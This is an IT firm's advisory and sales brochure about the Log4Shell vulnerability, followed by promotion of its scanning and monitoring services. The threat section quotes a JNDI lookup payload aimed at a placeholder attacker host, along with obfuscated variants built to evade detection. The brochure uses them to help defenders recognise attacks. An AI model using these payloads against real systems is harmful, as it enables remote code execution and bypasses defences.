STRATIX DIVE

Log4J/Log4Shell

Understanding the threat and what you can do about it.

stratix systems
strategic technology solutions

What happened and when?

In early December, LunaSec published a blog post with details regarding a vulnerability in the log4j2 library. This vulnerability became quickly known as “log4shell”, and CVE-2021-44228 was assigned to it.

Since then, Stratix Systems Cybersecurity Experts have been tracking threats taking advantage of CVE-2021-44228. CVE-2021-44228 has the highest criticality rating of CVSS 10.0 and is classified as a remote code execution (RCE) vulnerability under active exploitation in Apache Log4j v2. We have not identified vulnerabilities in our own software.

However, according to the Lunasec report, “Many, many services are vulnerable to this exploit. Cloud services like Steam, Apple iCloud, and apps like Minecraft have already been found to be vulnerable.”

stratix systems
strategic technology solutions

What Stratix Systems is seeing?

This is a highly critical vulnerability that may be the worst yet according to the Department of Homeland Security (DHS). Our cybersecurity experts have already tracked hundreds of events affecting over 100 customers.

stratix systems
strategic technology solutions

What is the actual threat?

The bulk of attacks observed at this time have been related to mass scanning by attackers attempting to identify vulnerable systems. An example pattern of attack would appear in a web request log with strings like the following: "${jndi:ldap://[attacker site]/a}" (quote marks removed).

An attacker performs an HTTP request against a target system, which generates a log using Log4j 2 that leverages JNDI to perform a request to the attacker-controlled site. The vulnerability then causes the exploited process to reach out to the site and execute the payload. In many observed attacks, the attacker-owned parameter is a DNS logging system, intended to log a request to the site to fingerprint the vulnerable systems.

The specially crafted string that enables execution of this vulnerability can be identified through several components. The string contains "jndi", which refers to the Java Naming and Directory Interface. Following this, the protocol, such as "ldap", "ldaps", "rmi", "dns", "iiop", or "http", precedes the attacker domain.

As they continue to work and detect the exploitation of the vulnerability, attackers have added obfuscation to these requests to evade detections based on request patterns. Stratix Systems has seen things like running a lower or upper command within the exploitation string ({jndi:${lower:l}${lower:d}a${lower:p}) and even more complicated obfuscation attempts (${${::-j}${::-n}${::-d}${::-i}) that are all trying to bypass string-matching detections.

So far, the vast majority of observed activity has been scanning, but exploitation and post-exploitation activities have also been observed. Based on the nature of the vulnerability, once the attacker has full access and control of an application, they can perform a myriad of objectives. Activities could include installing coin miners, Cobalt Strike to enable credential theft and lateral movement, and exfiltrating data from compromised systems.

stratix systems
strategic technology solutions

How can Stratix Systems help me?

Adversaries use known vulnerabilities and phishing attacks to compromise the security of organizations. Stratix Systems offers several scanning and testing services to help organizations reduce their exposure to threats by taking a proactive approach to mitigating attack vectors:

Vulnerability Scanning: Evaluates external network presence by executing continuous scans of internal, public, and static IPs for accessible services and vulnerabilities. This service provides vulnerability reports of internal and external systems.

- Web Application Scanning: Evaluates known and discovered publicly-accessible websites for potential bugs and weak configuration to provide recommendations for mitigating web application security risks.
- Phishing Campaign Assessment: Provides an opportunity for determining the potential susceptibility of personnel to phishing attacks. This is a practical exercise intended to support and measure the effectiveness of security awareness training.
- Remote Penetration Test: Simulates the tactics and techniques of real-world adversaries to identify and validate exploitable pathways. This service is ideal for testing perimeter defenses, the security of externally-available applications, and the potential for exploitation of open source information.
- SOC Monitoring: The SOC Monitoring Service focuses on the protection of IT networks by offering intrusion detection and prevention services. Stratix Systems offers near real-time intrusion detection and prevention capability, not a threat feed.
- Security Device Management: Stratix Systems offers security device management which includes 24x7x365 access to skilled Cyber Security Advisors who specialize in discovering and remediating security gaps before they are a problem. This covers full incident analysis, remediation, change control, and system updates/upgrades.

Have a question? Get an answer.

Whether you need support on a specific attack or you just have a question about cybersecurity, our experienced experts would be happy to answer your questions, help you explore your options and develop customized solutions for you.

Call us toll-free 1-800-444-2943 and learn more at www.stratixsystems.com.

stratix systems
strategic technology solutions

About Stratix Systems

Stratix Systems is one of the region's leading technology solutions partners—with the people, resources and experience to deliver the IT, content management and imaging support you need: where, when and how you need it. In fact, with 130 IT and technology professionals, very few providers in the region can match the vast array of total business solutions and responsive service available from Stratix Systems. With offices in Reading, Philadelphia, Lehigh Valley, Central Pennsylvania and New Jersey, we are a committed partner that can deliver huge savings and productivity improvements for your organization. It's no wonder why we are the partner-of-choice for over 6,500 organizations throughout Pennsylvania and New Jersey.

Learn more at stratixsystems.com or call us toll-free 1-800-444-2943.

stratix systems
strategic technology solutions